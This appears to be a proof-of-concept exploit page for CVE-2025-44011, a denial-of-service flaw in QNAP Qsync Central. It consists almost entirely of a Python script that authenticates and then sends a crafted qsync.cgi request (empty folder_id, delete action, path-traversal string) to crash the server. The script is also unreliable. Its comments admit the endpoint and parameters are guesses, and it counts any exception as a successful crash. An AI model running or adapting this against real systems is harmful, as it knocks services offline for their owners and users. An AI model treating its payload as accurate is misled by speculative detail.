CVE-2025-44011：Qsync Central空指针解引用导致拒绝服务漏洞

# CVE-2025-44011 PoC - Qsync Central NULL Pointer Dereference DoS # This PoC demonstrates the concept of triggering a NULL pointer dereference # in Qsync Central to cause a denial-of-service condition. # Note: Attacker must possess valid user credentials (PR:L). import requests import sys TARGET_HOST = "https://target-qnap:8080" USERNAME = "valid_user" PASSWORD = "valid_password" def authenticate(session, host, username, password): """Authenticate to Qsync Central to obtain a valid session.""" login_url = f"{host}/cgi-bin/qsync/qsync.cgi" # Login payload structure may vary by version login_data = { "func": "login", "user": username, "pwd": password } try: resp = session.post(login_url, data=login_data, verify=False, timeout=10) if resp.status_code == 200 and "sid" in resp.text: print("[+] Authentication successful") return True except Exception as e: print(f"[-] Authentication error: {e}") return False def trigger_null_deref(session, host): """ Trigger NULL pointer dereference by sending a malformed request that causes the server to dereference an uninitialized/NULL pointer. The exact endpoint and parameters depend on the vulnerable code path. """ # Crafted request targeting vulnerable code path # The NULL dereference typically occurs when a resource object is # expected but not properly initialized for certain input combinations vuln_url = f"{host}/cgi-bin/qsync/qsync.cgi" # Malicious payload designed to trigger NULL pointer dereference # by providing unexpected/empty values where a valid object is expected payload = { "func": "sync_operation", "folder_id": "", # Empty value may lead to NULL object "action": "delete", "param": "../../../../../../" # Path traversal combined with NULL deref } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Qsync-Client/1.0" } try: resp = session.post(vuln_url, data=payload, headers=headers, verify=False, timeout=10) print(f"[*] Response status: {resp.status_code}") print(f"[*] Response body: {resp.text[:200]}") # Check if server is still responding (crash check) check = session.get(f"{host}/cgi-bin/qsync/qsync.cgi?func=get_status", verify=False, timeout=5) if check.status_code == 500 or "error" in check.text.lower(): print("[+] Server may have crashed - DoS condition triggered!") return True except requests.exceptions.ConnectionError: print("[+] Connection refused - Server has crashed! DoS confirmed!") return True except Exception as e: print(f"[*] Exception (possible crash): {e}") return True return False def main(): session = requests.Session() print(f"[*] Target: {TARGET_HOST}") print(f"[*] CVE-2025-44011 - Qsync Central NULL Pointer Dereference DoS") # Step 1: Authenticate with valid credentials if not authenticate(session, TARGET_HOST, USERNAME, PASSWORD): print("[-] Failed to authenticate. Valid credentials required.") sys.exit(1) # Step 2: Trigger NULL pointer dereference if trigger_null_deref(session, TARGET_HOST): print("[+] DoS attack successful!") else: print("[-] DoS attempt may have failed. Try adjusting payload parameters.") if __name__ == "__main__": main()